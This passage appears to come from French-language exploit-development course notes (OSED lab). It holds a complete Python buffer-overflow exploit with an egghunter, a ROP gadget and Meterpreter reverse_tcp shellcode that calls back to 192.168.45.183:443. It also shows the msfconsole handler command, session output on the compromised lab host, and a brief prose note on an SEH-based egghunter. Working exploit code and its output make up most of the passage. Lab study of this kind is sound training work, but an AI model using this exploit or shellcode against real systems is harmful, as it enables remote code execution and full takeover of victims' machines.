payload += b"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29"
payload += b"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a"
payload += b"\x0a\x68\xc0\xa8\x2d\xb7\x68\x02\x00\x01\xbb"
payload += b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68"
payload += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57"
payload += b"\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a"
payload += b"\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a"
payload += b"\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
payload += b"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68"
payload += b"\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
payload += b"\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
payload += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28"
payload += b"\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
payload += b"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61"
payload += b"\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
payload += b"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6"
payload += b"\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53"
payload += b"\xff\xd5"
On met à jour l'exploit avec le shellcode de Meterpreter :
#!/usr/bin/python
import socket
import sys
from struct import pack
try:
server = sys.argv[1]
port = 80
size = 253
httpMethod = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # xor ecx, ecx; test ecx, ecx; je 0x17
egghunter = (b"\x90\x90\x90\x90\x90\x90\x90\x90" # NOP sled
b"\x66\x81\xca\xff\x0f\x42\x52\xb8"
b"\x3a\xfe\xff\xff\xf7\xd8\xcd\x2e"
b"\x3c\x05\x5a\x74\xeb\xb8\x77\x30"
b"\x30\x74\x89\xd7\xaf\x75\xe6\xaf"
b"\x75\xe3\xff\xe7")
inputBuffer = b"\x41" * (size - len(egghunter))
inputBuffer+= pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
httpEndRequest = b"\r\n\r\n"
payload = b""
payload += b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5"
payload += b"\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
payload += b"\x72\x28\x31\xff\x0f\xb7\x4a\x26\x31\xc0\xac"
payload += b"\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
payload += b"\x49\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x57"
payload += b"\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0"
payload += b"\x8b\x58\x20\x8b\x48\x18\x50\x01\xd3\x85\xc9"
payload += b"\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31"
payload += b"\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4"
payload += b"\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58"
payload += b"\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01"
payload += b"\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b"
payload += b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
payload += b"\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
payload += b"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
payload += b"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29"
payload += b"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a"
payload += b"\x0a\x68\xc0\xa8\x2d\xb7\x68\x02\x00\x01\xbb"
payload += b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68"
payload += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57"
payload += b"\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a"
payload += b"\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a"
payload += b"\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
payload += b"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68"
payload += b"\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
payload += b"\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
payload += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28"
payload += b"\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
payload += b"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61"
payload += b"\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
payload += b"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6"
payload += b"\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53"
payload += b"\xff\xd5"
shellcode = b"w00tw00t" + payload + b"\x44" * (400 - len(payload))
buf = httpMethod + egghunter + inputBuffer + httpEndRequest + shellcode
print("Sending buffer")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(buf)
s.close()
print("Done!")
except socket.error:
print("Could not connect!")
On lance un handler Meterpreter :
┌──(kali㉿kali)-[/media/…/os/exp-301-osed/cours/cours6]
└─$ sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.45.183; set LPORT 443; exploit"
[sudo] password for kali:
[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.45.183
LPORT => 443
[*] Started reverse TCP handler on 192.168.45.183:443
Puis on lance l'exploit mis à jour :
┌──(kali㉿kali)-[/media/…/os/exp-301-osed/cours/cours6]
└─$ python3 egg_v12.py 192.168.234.10
Sending buffer
Done!
Et on reçoit un reverse shell :
[*] Sending stage (175686 bytes) to 192.168.234.10
[*] Meterpreter session 1 opened (192.168.45.183:443 -> 192.168.234.10:53994) at 2024-07-26 17:21:38 -0400
meterpreter > getuid
Server username: CLIENT\Offsec
Améliorer la portabilité du Egghunter en utilisant SEH [TbD]
Initialement, le code egghunter utilisait la fonction NtAccessCheckAndAuditAlarm
, car le code de l'appel système n'avait pas changé depuis Windows 8. On a dû écrire en dur le nouveau code de l'appel système, impactant la portabilité de l'exploit, car il devient nécessaire d'identifier la version de l'OS en amont.
On veut trouver un moyen que ça fonctionne sur toutes les versions de Windows.
L'idée d'utiliser NtAccessCheckAndAuditAlarm
permet de déléguer la prise en charge de l'access violation au système d'exploitation. Cependant, nous pourrions le faire nous-mêmes.
On va créer notre propre Structured Exception Handler pour gérer l'accès à des pages mémoires invalides. Le processus SEH
n'a pas beaucoup changé par rapport aux anciennes versions de Windows. L'impact est que le code de egghunter passe de 35b a 60b.